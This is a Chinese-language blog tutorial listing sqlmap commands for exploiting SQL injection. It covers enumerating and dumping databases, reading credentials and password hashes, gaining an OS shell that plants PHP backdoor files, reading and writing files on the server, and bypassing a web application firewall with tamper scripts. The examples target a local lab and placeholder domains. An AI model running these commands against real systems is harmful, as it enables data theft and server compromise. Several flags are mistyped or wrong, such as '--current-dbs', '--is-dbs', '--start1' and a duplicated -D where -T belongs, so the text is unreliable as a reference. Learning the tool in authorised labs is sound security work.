SQLmap常用命令使用詳解

BIGBadMAN發表於2024-06-04

SQLmap使用詳解

一、SQLmap常規使用步驟

 1、查詢注入點

  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1
 2、查詢所有資料庫
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
 3、查詢當前資料庫
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-dbs
 4、查表
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx --tables
 5、查列
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --columns
 6、查資料
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --dump

二、命令詳解

 1、輸出級別

  -v 指定回顯資訊的複雜度,共7個級別,0-6,預設1

  • 0:只顯示python錯誤以及嚴重的資訊。
  • 1:同時顯示基本資訊和警告資訊。(預設)
  • 2:同時顯示debug資訊。
  • 3:同時顯示注入的payload。
  • 4:同時顯示HTTP請求。
  • 5:同時顯示HTTP響應頭。
  • 6:同時顯示HTTP響應頁面。

  一般使用等級3,可以看到SQLmap傳送的測試payload;

  eg:python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1

 2、目標

  

  2.1、指定URL

  -u 引數,指定需要檢測的url,/雙引號包裹,中間如果有提示,輸入y

  提示:SQLmap不能直接掃描網站漏洞,先找到注入點,再使用SQLmap驗證並利用注入點

  2.2、指定檔案

  -m 指定檔案,可以批次掃描檔案中的url

  2.3、指定資料庫//欄位

  -D 指定目標「資料庫」,單/雙引號包裹,常配合其他引數使用。

  -T 指定目標「表」,單/雙引號包裹,常配合其他引數使用。

  -C 指定目標「欄位」,單/雙引號包裹,常配合其他引數使用。

  2.4POST請求

  檢測POST請求的注入點,使用BP等工具抓包,將http請求內容儲存到txt檔案中

  -r 指定需要檢測的檔案,SQLmap會透過POST請求方式檢測目標

  2.5cookie注入

  --cookie 指定cookie的值,單/雙引號包裹

 

 3、脫庫

  -a 就是all的意思,獲取所有能獲取的內容,會消耗很長時間

  3.1、獲取資料庫   

  --dbs 獲取資料庫
  --current-db 獲取當前資料庫


  3.2、獲取表

  --tables 獲取表
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --tables
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security,dvwa' --tables
  //同時獲取多個庫的表名,逗號隔開


  3.3、獲取欄位

  --columns 獲取欄位
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' --columns
  只指定庫名不指定表名會報錯,指定庫名不指定表名,預設獲取當前資料庫中所有表的欄位


  3.4、獲取欄位型別

  --schema 獲取欄位型別,
  可以指定庫或指定表。不指定則獲取資料庫中所有欄位的型別。

  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C --schema


  3.5、獲取值

  --dump 表中的資料,可以指定具體的庫,表,欄位,只指定庫名可獲取庫中所有表的資料
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --dump

  預設獲取表中的所有資料,可以使用 --start --stop 指定開始和結束的行,只獲取一部分資料。
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --start1 --stop 5 --dump


  3.6、獲取使用者

  --current-user 獲取當前登入資料庫的使用者名稱
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --current-user

  --user 獲取資料庫的所有使用者名稱
  Sqlmap -u 'http://xxx.com/user.php?id=1' --user

  --passwords 獲取所有資料庫使用者的密碼(雜湊值)
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --password

  --privileges 檢視每個資料庫使用者都有哪些許可權

  --is-dbs 判斷當前使用者是不是管理員,如果是管理員,會顯示true


  3.7、獲取主機名

  --hostname 獲取伺服器主機名

  3.8、搜尋庫、表、欄位

  --search 搜尋資料庫中是否存在指定庫,表,欄位;需要指定庫名,表名,欄位名
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --search
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -T 'users' --search
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -C 'user' --search

  3.9、正在執行的SQL語句

  --statements 獲取資料庫中正在執行的SQL語句

 4、其他

  --batch (預設確認)不再詢問是否確認。

  --method=GET 指定請求方式(GET/POST)

  --random-agent 隨機切換UA(User-Agent)

  --user-agent ' ' 使用自定義的UA(User-Agent)

  --referer ' ' 使用自定義的 referer

  --proxy="127.0.0.1:8080" 指定代理

  --threads 10 設定執行緒數,最高10

  --level=1 執行測試的等級(1-5,預設為1,常用3)

  指需要執行的測試等級,一共有5個等級(1~5),不加 level 預設是1。5級包含的 Payload 最多,會自動破解出 cookie、XFF等頭部注入。當然,level 5的執行速度也比較慢。
  這個引數會影響測試的注入點,GET和POST的資料都會進行測試,HTTP cookie 在 level 為2時就會測試,HTTP User-Agent/Referer 頭在 level 為3時就會測試。總之,在不確定哪個 payload 或引數為注入點時,為了保證全面性,建議使用高的 level 值
  

  --risk=1 風險級別(0~3,預設1,常用1),級別提高會增加資料被篡改的風險。


  --sql-shell:執行自定義SQL語句

  該命令用於執行指定的SQL語句,如下所示,假設執行select * from users limit 0,1語句,如下所示:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --sql-shell


  --os-cmd,--os-shell:執行任意作業系統命令

  在當前使用者有許可權使用特定的函式的前提下,如果資料庫為MySQL、PostgreSQL,Sqlmap會上傳一個二進位制庫,包含使用者自定義的函式sys_exec () 和sys_eval (),那麼建立的這兩個函式就可以執行系統命令。
  如果資料庫是微軟 SQL Server時,Sqlmap透過儲存過程 xp_cmdshell 來執行任意命令,如果 xp_cmdshell 被禁用(SQL Server 2005及以上版本預設被禁用),則Sqlmap會重新啟用它;如果不存在,會自動建立。
  用--os-shell引數可以模擬一個真實的Shell,輸入想執行的命令。當不能執行多語句時(如PHP或ASP+Mysql),仍然可以使用 INTO OUTFILE寫進可寫目錄,建立一個Web後門。
  Sqlmap支援ASP、ASP.NET、JSP和PHP四種語言(要想執行該引數,需要有資料庫管理員許可權,也就是--is-dba的值要為True)。

  1.執行系統命令:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
  執行後根據提示選擇網站語言,然後回車,指定目標站點根目錄,然後繼續回車即可完整執行命令。
  2.執行shell:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
  執行後根據提示選擇網站語言,然後回車,指定目標站點根目錄後回車,輸入命令即可執行。
  執行命令後會在網站根目錄上傳兩個檔案:tmpbxbxz.php、tmpuoiuz.php(此檔案為上傳頁面)


  --file-read:從資料庫伺服器中讀取檔案

  該命令用於讀取執行檔案,當資料庫為MySQL、PostgreSQL或MicrosoftSQL Server,並且當前使用者有許可權使用特定的函式時,讀取的檔案可以是文字,也可以是二進位制檔案。
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-read "C:/11.txt"
  執行完會把檔案儲存到本地目錄下

  --file-write --file-dest:上傳檔案到資料庫伺服器中

  該命令用於寫入本地檔案到伺服器中,當資料庫為MySQL、PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式時,上傳的檔案可以是文字,也可以是二進位制檔案。
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-write "C:/1.txt" --file-dest "C:/windows/Temp/1.php"
  執行結束即可把本地的1.txt 檔案上傳到目標伺服器下

  

 5、WAF繞過

  --tamper 指定繞過指令碼,
  Sqlmap -u 'http://xxx.com/user.php?id=1' --tamper 'space2comment.py'
  SQLmap內建指令碼位置:/usr/share/sqlmap/tamper

 6、參考

  https://www.cnblogs.com/wwcdg/p/15913888.html

  https://www.cnblogs.com/wwcdg/p/15913888.html

日常隨筆學習記錄,如有侵權請聯絡silentmode10086@gmail.com刪除

相關文章